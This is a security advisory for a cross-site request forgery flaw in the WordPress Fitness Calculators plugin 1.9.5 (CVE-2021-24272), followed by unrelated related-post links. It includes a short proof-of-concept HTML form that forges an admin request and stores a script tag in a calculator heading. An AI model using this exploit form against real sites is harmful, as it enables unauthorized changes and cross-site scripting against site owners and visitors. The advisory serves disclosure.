WordPress Fitness Calculators plugin version 1.9.5 suffers from a cross site request forgery vulnerability.
advisories | CVE-2021-24272
# Exploit Title: WordPress Plugin Fitness Calculators 1.9.5 - Cross-Site Request Forgery (CSRF)
# Date: 2/28/2021
# Author: 0xB9
# Software Link: https://wordpress.org/plugins/fitness-calculators/
# Version: 1.9.5
# Tested on: Windows 10
# CVE: CVE-2021-242721. Description:
The plugin add calculators for Water intake, BMI calculator, protein Intake, and Body Fat and was lacking CSRF check, allowing attackers to make logged in users perform unwanted actions, such as change the calculator headers.
Due to the lack of sanitisation, this could also lead to a Stored Cross-Site Scripting issue
2. Proof of Concept:
<form method="post" action="https://example.com/wp-admin/admin.php?page=fcp_dashboard&tab=water">
<input type="text" value="<script>alert(1)</script>" name="fcw[fcw_heading]">
<input type="submit" value="Save" name="submit">
</form>
Related posts:
The Rise of Data Exfiltration and Why It Is a Greater Risk Than Ransomware
Incumbent Salt Lake City Mayor Erin Mendenhall wins bid for second term
Developers Beware: Malicious Rust Libraries Caught Transmitting OS Info to Telegram Channel
Google fixes fifth actively exploited Chrome zero-day of 2023
BitKeep Confirms Cyber Attack, Loses Over $9 Million in Digital Currencies